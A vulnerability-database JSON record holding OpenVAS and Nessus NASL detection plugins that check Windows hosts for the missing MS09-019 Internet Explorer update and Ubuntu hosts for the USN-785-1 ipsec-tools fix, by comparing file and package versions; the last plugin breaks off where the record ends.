{"openvas": [{"lastseen": "2017-07-20T08:56:33", "bulletinFamily": "scanner", "cvelist": ["CVE-2007-3091", "CVE-2009-1528", "CVE-2009-1530", "CVE-2009-1529", "CVE-2009-1532", "CVE-2009-1140", "CVE-2009-1531", "CVE-2009-1141"], "description": "This host is missing a critical security update according to\n Microsoft Bulletin MS09-019.", "modified": "2017-07-05T00:00:00", "published": "2009-06-10T00:00:00", "id": "OPENVAS:900364", "href": "http://plugins.openvas.org/nasl.php?oid=900364", "type": "openvas", "title": "Cumulative Security Update for Internet Explorer (969897)", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n# $Id: secpod_ms09-019.nasl 6527 2017-07-05 05:56:34Z cfischer $\n#\n# Cumulative Security Update for Internet Explorer (969897)\n#\n# Authors:\n# Sharath S <sharaths@secpod.com>\n#\n# Updated By: Madhuri D <dmadhuri@secpod.com> on 2010-12-01\n# - To detect file version 'mshtml.dll' on vista and win 2008\n#\n# Copyright:\n# Copyright (c) 2009 SecPod, http://www.secpod.com\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_id(900364);\n script_version(\"$Revision: 6527 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2017-07-05 07:56:34 +0200 (Wed, 05 Jul 2017) $\");\n script_tag(name:\"creation_date\", value:\"2009-06-10 17:12:29 +0200 (Wed, 10 Jun 2009)\");\n script_tag(name:\"cvss_base\", value:\"9.3\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_cve_id(\"CVE-2007-3091\", \"CVE-2009-1140\", \"CVE-2009-1141\", \"CVE-2009-1528\",\n \"CVE-2009-1529\", \"CVE-2009-1530\", \"CVE-2009-1531\", \"CVE-2009-1532\");\n script_bugtraq_id(24283, 35200, 35198, 35222, 35223, 35224, 35234, 35235);\n script_name(\"Cumulative Security Update for Internet Explorer (969897)\");\n script_xref(name : \"URL\" , value : \"http://support.microsoft.com/kb/969897\");\n script_xref(name : \"URL\" , value : \"http://technet.microsoft.com/en-us/security/bulletin/MS09-019\");\n\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2009 SecPod\");\n script_family(\"Windows : Microsoft Bulletins\");\n script_dependencies(\"gb_ms_ie_detect.nasl\");\n script_mandatory_keys(\"MS/IE/Version\");\n script_require_ports(139, 445);\n script_tag(name : \"impact\" , value : \"Successful exploitation will let the attacker execute arbitrary codes into the\n context of the affected system, as a result in view, change, or delete data\n and can cause denial of service to legitimate users.\n Impact Level: System/Application\");\n script_tag(name : \"affected\" , value : \"Microsoft Internet Explorer version 5.x/6.x/7.x/8.x\");\n script_tag(name : \"insight\" , value : \"Multiple flaws are due to,\n - Scripts may persist across navigations and let a malicious site interact with\n a site in an arbitrary external domain.\n - When application fails to properly enforce the same-origin policy.\n - In the way that Internet Explorer caches data and incorrectly allows the\n cached content to be called, potentially bypassing Internet Explorer domain\n restriction.\n - Error in the way Internet Explorer displays a Web page that contains certain\n unexpected method calls to HTML objects.\n - Error in the way Internet Explorer accesses an object that has not been\n correctly initialized or has been deleted by specially crafted Web page.\");\n script_tag(name : \"solution\" , value : \"Run Windows Update and update the listed hotfixes or download and\n update mentioned hotfixes in the advisory from the below link,\n http://technet.microsoft.com/en-us/security/bulletin/MS09-019\");\n script_tag(name : \"summary\" , value : \"This host is missing a critical security update according to\n Microsoft Bulletin MS09-019.\");\n script_tag(name:\"qod_type\", value:\"registry\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n exit(0);\n}\n\n\ninclude(\"smb_nt.inc\");\ninclude(\"secpod_reg.inc\");\ninclude(\"version_func.inc\");\ninclude(\"secpod_smb_func.inc\");\n\nif(hotfix_check_sp(xp:4, win2k:5, win2003:3, winVista:3, win2008:3) <= 0){\n exit(0);\n}\n\nieVer = get_kb_item(\"MS/IE/Version\");\nif(!ieVer){\n exit(0);\n}\n\n# MS09-019 Hotfix (969897)\nif(hotfix_missing(name:\"969897\") == 0){\n exit(0);\n}\n\n## Get System32 path\nsysPath = smb_get_system32root();\nif(sysPath)\n{\n vers = fetch_file_version(sysPath, file_name:\"mshtml.dll\");\n if(vers)\n {\n if(hotfix_check_sp(win2k:5) > 0)\n {\n # Check for mshtml.dll version 5.0 < 5.0.3877.2200\n if(version_in_range(version:vers, test_version:\"5.0\", test_version2:\"5.0.3877.2199\")||\n version_in_range(version:vers, test_version:\"6.0\", test_version2:\"6.0.2800.1626\"))\n {\n security_message(0);\n exit(0);\n }\n }\n\n else if(hotfix_check_sp(xp:4) > 0)\n {\n SP = get_kb_item(\"SMB/WinXP/ServicePack\");\n if(\"Service Pack 2\" >< SP)\n {\n # Check for mshtml.dll version 6.0 < 6.0.2900.3562\n if(version_in_range(version:vers, test_version:\"6.0\", test_version2:\"6.0.2900.3561\")||\n version_in_range(version:vers, test_version:\"7.0.0000.00000\", test_version2:\"7.0.6000.16849\")||\n version_in_range(version:vers, test_version:\"7.0.6000.20000\", test_version2:\"7.0.6000.21044\")||\n version_in_range(version:vers, test_version:\"8.0.6000.16000\", test_version2:\"8.0.6001.18782\")||\n version_in_range(version:vers, test_version:\"8.0.6001.20000\", test_version2:\"8.0.6001.22872\")){\n security_message(0);\n }\n exit(0);\n }\n else if(\"Service Pack 3\" >< SP)\n {\n # Check for mshtml.dll version 6.0 < 6.0.2900.5803 or 7.0 < 7.0.6000.16850\n # or 8.0 < 8.0.6001.18783\n if(version_in_range(version:vers, test_version:\"6.0\", test_version2:\"6.0.2900.5802\")||\n version_in_range(version:vers, test_version:\"7.0.0000.00000\", test_version2:\"7.0.6000.16849\")||\n version_in_range(version:vers, test_version:\"7.0.6000.20000\", test_version2:\"7.0.6000.21044\")||\n version_in_range(version:vers, test_version:\"8.0.6000.16000\", test_version2:\"8.0.6001.18782\")||\n version_in_range(version:vers, test_version:\"8.0.6001.20000\", test_version2:\"8.0.6001.22872\")){\n security_message(0);\n }\n exit(0);\n }\n security_message(0);\n }\n\n else if(hotfix_check_sp(win2003:3) > 0)\n {\n SP = get_kb_item(\"SMB/Win2003/ServicePack\");\n if(\"Service Pack 2\" >< SP)\n {\n # Check for mshtml.dll version 6.0 < 6.0.3790.4504 or 7.0 < 7.0.6000.16850\n # or 8.0 < 8.0.6001.18783\n if(version_in_range(version:vers, test_version:\"6.0\", test_version2:\"6.0.3790.4503\")||\n version_in_range(version:vers, test_version:\"7.0.0000.00000\", test_version2:\"7.0.6000.16849\")||\n version_in_range(version:vers, test_version:\"7.0.6000.20000\", test_version2:\"7.0.6000.21044\")||\n version_in_range(version:vers, test_version:\"8.0.6000.16000\", test_version2:\"8.0.6001.18782\")||\n version_in_range(version:vers, test_version:\"8.0.6001.20000\", test_version2:\"8.0.6001.22872\")){\n security_message(0);\n }\n exit(0);\n }\n security_message(0);\n }\n }\n}\n\n## Get System Path\nsysPath = smb_get_system32root();\nif(!sysPath){\n exit(0);\n}\n\ndllVer = fetch_file_version(sysPath, file_name:\"mshtml.dll\");\nif(!dllVer){\n exit(0);\n}\n\n# Windows Vista\nif(hotfix_check_sp(winVista:3, win2008:3) > 0)\n{\n ## Check for the Vista and server 2008 without SP\n ## Grep for mshtml.dll version\n if(version_in_range(version: dllVer, test_version:\"7.0.6000.16000\", test_version2:\"7.0.6000.16850\")||\n version_in_range(version: dllVer, test_version:\"7.0.6000.20000\", test_version2:\"7.0.6000.21045\")||\n version_in_range(version: dllVer, test_version:\"8.0.6001.18000\", test_version2:\"8.0.6001.18782\")||\n version_in_range(version: dllVer, test_version:\"8.0.6001.22000\", test_version2:\"8.0.6001.22873\"))\n {\n security_message(0);\n exit(0);\n }\n\n SP = get_kb_item(\"SMB/WinVista/ServicePack\");\n\n if(!SP){\n SP = get_kb_item(\"SMB/Win2008/ServicePack\");\n }\n\n if(\"Service Pack 1\" >< SP)\n {\n # Grep for mshtml.dll version < 7.0.6001.18248, < 8.0.6001.18783\n if(version_in_range(version: dllVer, test_version:\"7.0.6001.16000\", test_version2:\"7.0.6001.18247\")||\n version_in_range(version: dllVer, test_version:\"7.0.6001.22000\", test_version2:\"7.0.6001.22417\")||\n version_in_range(version: dllVer, test_version:\"8.0.6001.18000\", test_version2:\"8.0.6001.18782\")||\n version_in_range(version: dllVer, test_version:\"8.0.6001.22000\", test_version2:\"8.0.6001.22873\")){\n security_message(0);\n }\n exit(0);\n }\n\n if(\"Service Pack 2\" >< SP)\n {\n # Grep for mshtml.dll version < 7.0.6002.18024\n if(version_in_range(version: dllVer, test_version:\"7.0.6002.18000\", test_version2:\"7.0.6002.18023\")||\n version_in_range(version: dllVer, test_version:\"7.0.6002.22000\", test_version2:\"7.0.6002.22120\")||\n version_in_range(version: dllVer, test_version:\"8.0.6001.18000\", test_version2:\"8.0.6001.18782\")||\n version_in_range(version: dllVer, test_version:\"8.0.6001.22000\", test_version2:\"8.0.6001.22873\")){\n security_message(0);\n }\n exit(0);\n }\n}\n", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2020-06-10T20:03:11", "bulletinFamily": "scanner", "cvelist": ["CVE-2007-3091", "CVE-2009-1528", "CVE-2009-1530", "CVE-2009-1529", "CVE-2009-1532", "CVE-2009-1140", "CVE-2009-1531", "CVE-2009-1141"], "description": "This host is missing a critical security update according to\n Microsoft Bulletin MS09-019.", "modified": "2020-06-09T00:00:00", "published": "2009-06-10T00:00:00", "id": "OPENVAS:1361412562310900364", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310900364", "type": "openvas", "title": "Cumulative Security Update for Internet Explorer (969897)", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n#\n# Cumulative Security Update for Internet Explorer (969897)\n#\n# Authors:\n# Sharath S <sharaths@secpod.com>\n#\n# Updated By: Madhuri D <dmadhuri@secpod.com> on 2010-12-01\n# - To detect file version 'mshtml.dll' on vista and win 2008\n#\n# Copyright:\n# Copyright (c) 2009 SecPod, http://www.secpod.com\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.900364\");\n script_version(\"2020-06-09T10:15:40+0000\");\n script_tag(name:\"last_modification\", value:\"2020-06-09 10:15:40 +0000 (Tue, 09 Jun 2020)\");\n script_tag(name:\"creation_date\", value:\"2009-06-10 17:12:29 +0200 (Wed, 10 Jun 2009)\");\n script_tag(name:\"cvss_base\", value:\"9.3\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_cve_id(\"CVE-2007-3091\", \"CVE-2009-1140\", \"CVE-2009-1141\", \"CVE-2009-1528\",\n \"CVE-2009-1529\", \"CVE-2009-1530\", \"CVE-2009-1531\", \"CVE-2009-1532\");\n script_bugtraq_id(24283, 35200, 35198, 35222, 35223, 35224, 35234, 35235);\n script_name(\"Cumulative Security Update for Internet Explorer (969897)\");\n script_xref(name:\"URL\", value:\"http://support.microsoft.com/kb/969897\");\n script_xref(name:\"URL\", value:\"https://docs.microsoft.com/en-us/security-updates/securitybulletins/2009/ms09-019\");\n\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2009 SecPod\");\n script_family(\"Windows : Microsoft Bulletins\");\n script_dependencies(\"gb_ms_ie_detect.nasl\");\n script_mandatory_keys(\"MS/IE/Version\");\n script_require_ports(139, 445);\n\n script_tag(name:\"impact\", value:\"Successful exploitation will let the attacker execute arbitrary codes into the\n context of the affected system, as a result in view, change, or delete data\n and can cause denial of service to legitimate users.\");\n\n script_tag(name:\"affected\", value:\"Microsoft Internet Explorer version 5.x/6.x/7.x/8.x.\");\n\n script_tag(name:\"insight\", value:\"Multiple flaws are due to,\n\n - Scripts may persist across navigations and let a malicious site interact with\n a site in an arbitrary external domain.\n\n - When application fails to properly enforce the same-origin policy.\n\n - In the way that Internet Explorer caches data and incorrectly allows the\n cached content to be called, potentially bypassing Internet Explorer domain\n restriction.\n\n - Error in the way Internet Explorer displays a Web page that contains certain\n unexpected method calls to HTML objects.\n\n - Error in the way Internet Explorer accesses an object that has not been\n correctly initialized or has been deleted by specially crafted Web page.\");\n\n script_tag(name:\"solution\", value:\"The vendor has released updates. Please see the references for more information.\");\n\n script_tag(name:\"summary\", value:\"This host is missing a critical security update according to\n Microsoft Bulletin MS09-019.\");\n\n script_tag(name:\"qod_type\", value:\"registry\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n exit(0);\n}\n\ninclude(\"smb_nt.inc\");\ninclude(\"secpod_reg.inc\");\ninclude(\"version_func.inc\");\ninclude(\"secpod_smb_func.inc\");\n\nif(hotfix_check_sp(xp:4, win2k:5, win2003:3, winVista:3, win2008:3) <= 0){\n exit(0);\n}\n\nieVer = get_kb_item(\"MS/IE/Version\");\nif(!ieVer){\n exit(0);\n}\n\n# MS09-019 Hotfix (969897)\nif(hotfix_missing(name:\"969897\") == 0){\n exit(0);\n}\n\nsysPath = smb_get_system32root();\nif(sysPath)\n{\n vers = fetch_file_version(sysPath:sysPath, file_name:\"mshtml.dll\");\n if(vers)\n {\n if(hotfix_check_sp(win2k:5) > 0)\n {\n if(version_in_range(version:vers, test_version:\"5.0\", test_version2:\"5.0.3877.2199\")||\n version_in_range(version:vers, test_version:\"6.0\", test_version2:\"6.0.2800.1626\"))\n {\n security_message( port: 0, data: \"The target host was found to be vulnerable\" );\n exit(0);\n }\n }\n\n else if(hotfix_check_sp(xp:4) > 0)\n {\n SP = get_kb_item(\"SMB/WinXP/ServicePack\");\n if(\"Service Pack 2\" >< SP)\n {\n if(version_in_range(version:vers, test_version:\"6.0\", test_version2:\"6.0.2900.3561\")||\n version_in_range(version:vers, test_version:\"7.0.0000.00000\", test_version2:\"7.0.6000.16849\")||\n version_in_range(version:vers, test_version:\"7.0.6000.20000\", test_version2:\"7.0.6000.21044\")||\n version_in_range(version:vers, test_version:\"8.0.6000.16000\", test_version2:\"8.0.6001.18782\")||\n version_in_range(version:vers, test_version:\"8.0.6001.20000\", test_version2:\"8.0.6001.22872\")){\n security_message( port: 0, data: \"The target host was found to be vulnerable\" );\n }\n exit(0);\n }\n else if(\"Service Pack 3\" >< SP)\n {\n # or 8.0 < 8.0.6001.18783\n if(version_in_range(version:vers, test_version:\"6.0\", test_version2:\"6.0.2900.5802\")||\n version_in_range(version:vers, test_version:\"7.0.0000.00000\", test_version2:\"7.0.6000.16849\")||\n version_in_range(version:vers, test_version:\"7.0.6000.20000\", test_version2:\"7.0.6000.21044\")||\n version_in_range(version:vers, test_version:\"8.0.6000.16000\", test_version2:\"8.0.6001.18782\")||\n version_in_range(version:vers, test_version:\"8.0.6001.20000\", test_version2:\"8.0.6001.22872\")){\n security_message( port: 0, data: \"The target host was found to be vulnerable\" );\n }\n exit(0);\n }\n security_message( port: 0, data: \"The target host was found to be vulnerable\" );\n }\n\n else if(hotfix_check_sp(win2003:3) > 0)\n {\n SP = get_kb_item(\"SMB/Win2003/ServicePack\");\n if(\"Service Pack 2\" >< SP)\n {\n # or 8.0 < 8.0.6001.18783\n if(version_in_range(version:vers, test_version:\"6.0\", test_version2:\"6.0.3790.4503\")||\n version_in_range(version:vers, test_version:\"7.0.0000.00000\", test_version2:\"7.0.6000.16849\")||\n version_in_range(version:vers, test_version:\"7.0.6000.20000\", test_version2:\"7.0.6000.21044\")||\n version_in_range(version:vers, test_version:\"8.0.6000.16000\", test_version2:\"8.0.6001.18782\")||\n version_in_range(version:vers, test_version:\"8.0.6001.20000\", test_version2:\"8.0.6001.22872\")){\n security_message( port: 0, data: \"The target host was found to be vulnerable\" );\n }\n exit(0);\n }\n security_message( port: 0, data: \"The target host was found to be vulnerable\" );\n }\n }\n}\n\nsysPath = smb_get_system32root();\nif(!sysPath){\n exit(0);\n}\n\ndllVer = fetch_file_version(sysPath:sysPath, file_name:\"mshtml.dll\");\nif(!dllVer){\n exit(0);\n}\n\nif(hotfix_check_sp(winVista:3, win2008:3) > 0)\n{\n if(version_in_range(version: dllVer, test_version:\"7.0.6000.16000\", test_version2:\"7.0.6000.16850\")||\n version_in_range(version: dllVer, test_version:\"7.0.6000.20000\", test_version2:\"7.0.6000.21045\")||\n version_in_range(version: dllVer, test_version:\"8.0.6001.18000\", test_version2:\"8.0.6001.18782\")||\n version_in_range(version: dllVer, test_version:\"8.0.6001.22000\", test_version2:\"8.0.6001.22873\"))\n {\n security_message( port: 0, data: \"The target host was found to be vulnerable\" );\n exit(0);\n }\n\n SP = get_kb_item(\"SMB/WinVista/ServicePack\");\n\n if(!SP){\n SP = get_kb_item(\"SMB/Win2008/ServicePack\");\n }\n\n if(\"Service Pack 1\" >< SP)\n {\n if(version_in_range(version: dllVer, test_version:\"7.0.6001.16000\", test_version2:\"7.0.6001.18247\")||\n version_in_range(version: dllVer, test_version:\"7.0.6001.22000\", test_version2:\"7.0.6001.22417\")||\n version_in_range(version: dllVer, test_version:\"8.0.6001.18000\", test_version2:\"8.0.6001.18782\")||\n version_in_range(version: dllVer, test_version:\"8.0.6001.22000\", test_version2:\"8.0.6001.22873\")){\n security_message( port: 0, data: \"The target host was found to be vulnerable\" );\n }\n exit(0);\n }\n\n if(\"Service Pack 2\" >< SP)\n {\n if(version_in_range(version: dllVer, test_version:\"7.0.6002.18000\", test_version2:\"7.0.6002.18023\")||\n version_in_range(version: dllVer, test_version:\"7.0.6002.22000\", test_version2:\"7.0.6002.22120\")||\n version_in_range(version: dllVer, test_version:\"8.0.6001.18000\", test_version2:\"8.0.6001.18782\")||\n version_in_range(version: dllVer, test_version:\"8.0.6001.22000\", test_version2:\"8.0.6001.22873\")){\n security_message( port: 0, data: \"The target host was found to be vulnerable\" );\n }\n exit(0);\n }\n}\n", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2017-12-04T11:29:57", "bulletinFamily": "scanner", "cvelist": ["CVE-2009-1151", "CVE-2007-3091", "CVE-2009-2011", "CVE-2009-0561", "CVE-2009-1684", "CVE-2009-0558", "CVE-2009-1140", "CVE-2009-1632", "CVE-2009-1574", "CVE-2008-2321"], "description": "The remote host is missing an update to ipsec-tools\nannounced via advisory USN-785-1.", "modified": "2017-12-01T00:00:00", "published": "2009-06-15T00:00:00", "id": "OPENVAS:64198", "href": "http://plugins.openvas.org/nasl.php?oid=64198", "type": "openvas", "title": "Ubuntu USN-785-1 (ipsec-tools)", "sourceData": "# OpenVAS Vulnerability Test\n# $Id: ubuntu_785_1.nasl 7969 2017-12-01 09:23:16Z santu $\n# $Id: ubuntu_785_1.nasl 7969 2017-12-01 09:23:16Z santu $\n# Description: Auto-generated from advisory USN-785-1 (ipsec-tools)\n#\n# Authors:\n# Thomas Reinke <reinke@securityspace.com>\n#\n# Copyright:\n# Copyright (c) 2009 E-Soft Inc. http://www.securityspace.com\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (c) the respective author(s)\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2,\n# or at your option, GNU General Public License version 3,\n# as published by the Free Software Foundation\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n#\n\ninclude(\"revisions-lib.inc\");\ntag_solution = \"The problem can be corrected by upgrading your system to the\n following package versions:\n\nUbuntu 6.06 LTS:\n racoon 1:0.6.5-4ubuntu1.3\n\nUbuntu 8.04 LTS:\n racoon 1:0.6.7-1.1ubuntu1.2\n\nUbuntu 8.10:\n racoon 1:0.7-2.1ubuntu1.8.10.1\n\nUbuntu 9.04:\n racoon 1:0.7-2.1ubuntu1.9.04.1\n\nIn general, a standard system upgrade is sufficient to effect the\nnecessary changes.\n\nhttps://secure1.securityspace.com/smysecure/catid.html?in=USN-785-1\";\n\ntag_insight = \"It was discovered that ipsec-tools did not properly handle certain\nfragmented packets. A remote attacker could send specially crafted packets\nto the server and cause a denial of service. (CVE-2009-1574)\n\nIt was discovered that ipsec-tools did not properly handle memory usage\nwhen verifying certificate signatures or processing nat-traversal\nkeep-alive messages. A remote attacker could send specially crafted packets\nto the server and exhaust available memory, leading to a denial of service.\n(CVE-2009-1632)\";\ntag_summary = \"The remote host is missing an update to ipsec-tools\nannounced via advisory USN-785-1.\";\n\n \n\n\nif(description)\n{\n script_id(64198);\n script_version(\"$Revision: 7969 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2017-12-01 10:23:16 +0100 (Fri, 01 Dec 2017) $\");\n script_tag(name:\"creation_date\", value:\"2009-06-15 19:20:43 +0200 (Mon, 15 Jun 2009)\");\n script_cve_id(\"CVE-2009-1574\", \"CVE-2009-1632\", \"CVE-2009-0558\", \"CVE-2009-0561\", \"CVE-2009-1151\", \"CVE-2009-2011\", \"CVE-2009-1140\", \"CVE-2007-3091\", \"CVE-2008-2321\", \"CVE-2009-1684\");\n script_tag(name:\"cvss_base\", value:\"9.3\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_name(\"Ubuntu USN-785-1 (ipsec-tools)\");\n\n\n\n script_category(ACT_GATHER_INFO);\n script_xref(name: \"URL\" , value: \"http://www.ubuntu.com/usn/usn-785-1/\");\n\n script_copyright(\"Copyright (c) 2009 E-Soft Inc. http://www.securityspace.com\");\n script_family(\"Ubuntu Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/ubuntu_linux\", \"ssh/login/packages\");\n script_tag(name : \"insight\" , value : tag_insight);\n script_tag(name : \"summary\" , value : tag_summary);\n script_tag(name : \"solution\" , value : tag_solution);\n script_tag(name:\"qod_type\", value:\"package\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n exit(0);\n}\n\n#\n# The script code starts here\n#\n\ninclude(\"pkg-lib-deb.inc\");\n\nres = \"\";\nreport = \"\";\nif ((res = isdpkgvuln(pkg:\"ipsec-tools\", ver:\"0.6.5-4ubuntu1.3\", rls:\"UBUNTU6.06 LTS\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"racoon\", ver:\"0.6.5-4ubuntu1.3\", rls:\"UBUNTU6.06 LTS\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"ipsec-tools\", ver:\"0.6.7-1.1ubuntu1.2\", rls:\"UBUNTU8.04 LTS\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"racoon\", ver:\"0.6.7-1.1ubuntu1.2\", rls:\"UBUNTU8.04 LTS\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"ipsec-tools\", ver:\"0.7-2.1ubuntu1.8.10.1\", rls:\"UBUNTU8.10\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"racoon\", ver:\"0.7-2.1ubuntu1.8.10.1\", rls:\"UBUNTU8.10\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"ipsec-tools\", ver:\"0.7-2.1ubuntu1.9.04.1\", rls:\"UBUNTU9.04\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"racoon\", ver:\"0.7-2.1ubuntu1.9.04.1\", rls:\"UBUNTU9.04\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"quagga-doc\", ver:\"0.99.2-1ubuntu3.6\", rls:\"UBUNTU6.06 LTS\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"quagga\", ver:\"0.99.2-1ubuntu3.6\", rls:\"UBUNTU6.06 LTS\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"quagga-doc\", ver:\"0.99.9-2ubuntu1.3\", rls:\"UBUNTU8.04 LTS\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"quagga\", ver:\"0.99.9-2ubuntu1.3\", rls:\"UBUNTU8.04 LTS\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"quagga-doc\", ver:\"0.99.9-6ubuntu0.2\", rls:\"UBUNTU8.10\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"quagga\", ver:\"0.99.9-6ubuntu0.2\", rls:\"UBUNTU8.10\")) != NULL) {\n report += res;\n}\n\nif (report != \"\") {\n security_message(data:report);\n} else if (__pkg_match) {\n exit(99); # Not vulnerable.\n}\n", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "nessus": [{"lastseen": "2021-01-01T05:43:27", "description": "he remote host is missing IE Security Update 969897.\n\nThe remote version of IE is affected by several vulnerabilities that may\nallow an attacker to execute arbitrary code on the remote host.", "edition": 26, "published": "2009-06-10T00:00:00", "title": "MS09-019: Cumulative Security Update for Internet Explorer (969897)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2007-3091", "CVE-2009-1528", "CVE-2009-1530", "CVE-2009-1529", "CVE-2009-1532", "CVE-2009-1140", "CVE-2009-1531", "CVE-2009-1141"], "modified": "2021-01-02T00:00:00", "cpe": ["cpe:/o:microsoft:windows", "cpe:/a:microsoft:ie"], "id": "SMB_NT_MS09-019.NASL", "href": "https://www.tenable.com/plugins/nessus/39341", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n\n\ninclude(\"compat.inc\");\n\n\nif (description)\n{\n script_id(39341);\n script_version(\"1.26\");\n script_cvs_date(\"Date: 2018/11/15 20:50:30\");\n\n script_cve_id(\n \"CVE-2007-3091\",\n \"CVE-2009-1140\",\n \"CVE-2009-1141\",\n \"CVE-2009-1528\",\n \"CVE-2009-1529\",\n \"CVE-2009-1530\",\n \"CVE-2009-1531\",\n \"CVE-2009-1532\"\n );\n script_bugtraq_id(\n 24283,\n 35198,\n 35200,\n 35222,\n 35223,\n 35224,\n 35234,\n 35235\n );\n script_xref(name:\"MSFT\", value:\"MS09-019\");\n script_xref(name:\"MSKB\", value:\"969897\");\n script_xref(name:\"CERT\", value:\"471361\");\n script_xref(name:\"EDB-ID\", value:\"33024\");\n\n script_name(english:\"MS09-019: Cumulative Security Update for Internet Explorer (969897)\");\n script_summary(english:\"Checks version of Mshtml.dll / MSrating.dll\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"Arbitrary code can be executed on the remote host through a web\nbrowser.\");\n script_set_attribute(attribute:\"description\", value:\n\"he remote host is missing IE Security Update 969897.\n\nThe remote version of IE is affected by several vulnerabilities that may\nallow an attacker to execute arbitrary code on the remote host.\");\n script_set_attribute(attribute:\"see_also\", value:\"https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2009/ms09-019\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.zerodayinitiative.com/advisories/ZDI-09-036/\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.zerodayinitiative.com/advisories/ZDI-09-037/\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.zerodayinitiative.com/advisories/ZDI-09-038/\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.zerodayinitiative.com/advisories/ZDI-09-039/\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.zerodayinitiative.com/advisories/ZDI-09-041/\");\n script_set_attribute(attribute:\"solution\", value:\n\"Microsoft has released a set of patches for Windows 2000, XP, 2003,\nVista and 2008.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_cwe_id(200, 362, 399);\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2007/06/04\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2009/06/09\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2009/06/10\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:microsoft:windows\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:microsoft:ie\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Windows : Microsoft Bulletins\");\n\n script_copyright(english:\"This script is Copyright (C) 2009-2018 Tenable Network Security, Inc.\");\n\n script_dependencies(\"smb_hotfixes.nasl\", \"ms_bulletin_checks_possible.nasl\");\n 